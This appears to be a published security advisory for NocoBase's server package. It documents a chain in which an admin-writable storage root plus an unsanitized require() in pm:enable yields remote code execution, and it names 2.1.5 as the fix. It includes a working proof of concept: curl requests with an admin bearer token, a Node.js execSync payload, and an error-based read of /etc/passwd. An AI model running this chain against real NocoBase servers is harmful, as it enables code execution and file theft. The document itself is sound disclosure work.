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OSV ecosystem advisory

GHSA-ghvf-qf6h-g8x5: NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution

High—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 0/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Fixed version: @nocobase/server (npm) 2.1.5.

Low priority for now. Upgrade to @nocobase/server (npm) 2.1.5 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Executive Summary Two vulnerabilities were identified and chained to achieve authenticated remote code execution The first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion). Chained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution. A working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token. ## VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation ### Summary The file-manager plugin's storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record's `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths. ### Vulnerable Components `packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24–27 | `packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` Server route: `POST /api/storages:update` Server route: `POST /api/attachments:upload` ### Root Cause `getDocumentRoot()` resolves the `documentRoot` field from the storage record: ```javascript // packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts const { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } = this.storage.options || {}; return path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot)); ``` `resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is **no validation on the `documentRoot` value itself** at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there. The creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the **update endpoint is worse**: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards. ### Steps to Reproduce **Prerequisites:** Admin session token. **Step 1 Get the local storage ID:** ```bash curl -s "http://192.168.228.130:13000/api/storages" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" ``` Storage ID on this target: `366584416632832` **Step 2 Create the RCE payload:** ```bash cat > /tmp/rce_proof.js << 'EOF' const { execSync } = require('child_process'); const fs = require('fs'); const out = execSync('id; whoami; hostname').toString(); fs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out); module.exports = {}; EOF ``` **Step 3 Redirect storage documentRoot to app CWD:** ```bash curl -s -X POST "http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \ -H "Content-Type: application/json" \ -d '{"options":{"documentRoot":"."},"default":true}' ``` <img width="826" height="304" alt="image" src="https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66" /> **Step 4 upload the RCE payload:** The payload writes output to the NocoBase uploads directory, which is served statically on port 13000 ```bash curl -s -X POST "http://192.168.228.130:13000/api/attachments:upload" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \ -F "file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript" ``` <img width="826" height="322" alt="image" src="https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72" /> **Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below** ## VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call ### Overview `pm:enable` passes `filterByTk` directly to `require()` with no path validation. This is a standalone LFI primitive with two modes: - **Non-JS files** (e.g. `/etc/passwd`): Node.js parses them as JavaScript, fails with a `SyntaxError` that embeds the file content in the error message. That error is written to `system_error_YYYY-MM-DD.log` and is downloadable via `logger:download` giving an attacker blind/error-based file read. - **JS files** (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process RCE. This is the second stage of the chain with VULN-01. ### Root Cause The `enable` action takes `filterByTk` from query params and passes it directly to the CLI runner with zero validation: ```typescript // packages/core/server/src/plugin-manager/options/resource.ts L141-151 async enable(ctx, next) { const { filterByTk } = ctx.action.params; // ← raw user input if (!filterByTk) { ctx.throw(400, 'plugin name invalid'); } const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk]; app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' }); // ← no sanitization ctx.body = filterByTk; await next(); }, ``` The CLI handler calls `requireModule(key)`: ```typescript // packages/core/utils/src/requireModule.ts export function requireModule(m: any) { if (typeof m === 'string') { m = require(m); // ← arbitrary file executed as Node.js module } if (typeof m !== 'object') { return m; } return m.__esModule ? m.default : m; } ``` `assertSafePluginPackageName()` exists in the codebase (validates against absolute paths and `..`) but is **never invoked** in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → `require()`. ### Steps to Reproduce Error-Based File Read (Standalone) **Step 1 Trigger require() on any file:** ```bash curl -s "http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd" \ -H "Authorization: Bearer TOKEN" # Response: {"data":"/etc/passwd"} — 200 OK ``` Node.js attempts to parse `/etc/passwd` as a JavaScript module. It fails at the first `:` character with: <img width="2064" height="530" alt="image" src="https://github.com/user-attachments/assets/6aca1e88-a1c6-466a-8061-a0f3f7fbd4f8" /> and we see the error message after sending the request: <img width="1036" height="380" alt="image" src="https://github.com/user-attachments/assets/b8ddbf38-7de0-47ba-aa56-39ac4f2de400" /> **Step 2 navigate to the logger and download the system error log** <img width="1142" height="720" alt="image" src="https://github.com/user-attachments/assets/84103a14-99a6-4db0-bf86-35d5d09f730d" /> now when we extract the .tar file we can see proof of local file inclusion (partial in this response): <img width="1264" height="268" alt="image" src="https://github.com/user-attachments/assets/8f90ee8b-16d2-4bbf-8308-29ed80330ec8" /> ## Remote code execution With our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it ```bash curl -s "http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" ``` Retrieve output via NocoBase static file serving <img width="832" height="214" alt="image" src="https://github.com/user-attachments/assets/1ed60982-fc93-48f0-8b34-4bae0412ced2" /> <img width="810" height="96" alt="image" src="https://github.com/user-attachments/assets/15241236-2701-4488-a9a9-a504c9505562" />

Published
Aug 20, 2026
Updated
Aug 20, 2026
EPSS
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0

Monitor

Low priority for now.

CVSS
0 / 40 · —
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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npm@nocobase/server

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EcosystemPackageAffected rangeFix
npm@nocobase/serverbefore 2.1.52.1.5

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npm:@nocobase/server2.1.5Package registry (OSV)

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